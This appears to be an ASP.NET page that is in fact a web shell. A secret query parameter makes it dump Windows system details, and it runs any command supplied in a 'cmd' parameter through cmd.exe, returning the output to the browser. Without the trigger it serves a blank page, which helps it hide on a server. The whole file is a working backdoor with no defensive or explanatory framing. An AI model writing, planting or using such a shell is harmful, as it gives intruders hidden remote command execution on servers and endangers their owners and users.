<%@ Page Language="C#" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Diagnostics" %> <% if(Request.QueryString["smp"] == "1") { Response.ContentType = "text/plain"; // Get system info Response.Write("=== WINDOWS SYSTEM INFO ===\n"); Response.Write("OS: " + Environment.OSVersion + "\n"); Response.Write("64-bit: " + Environment.Is64BitOperatingSystem + "\n"); Response.Write("User: " + Environment.UserName + "\n"); Response.Write("Machine: " + Environment.MachineName + "\n"); // Run uname equivalent (Windows) Process proc = new Process(); proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = "/c ver && systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type""; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.Start(); Response.Write("\n=== SYSTEM COMMANDS ===\n"); Response.Write(proc.StandardOutput.ReadToEnd()); // Test command execution if(Request.QueryString["cmd"] != null) { Process p2 = new Process(); p2.StartInfo.FileName = "cmd.exe"; p2.StartInfo.Arguments = "/c " + Request.QueryString["cmd"]; p2.StartInfo.RedirectStandardOutput = true; p2.StartInfo.UseShellExecute = false; p2.Start(); Response.Write("\n=== CMD OUTPUT ===\n"); Response.Write(p2.StandardOutput.ReadToEnd()); } } else { Response.Write(""); } %>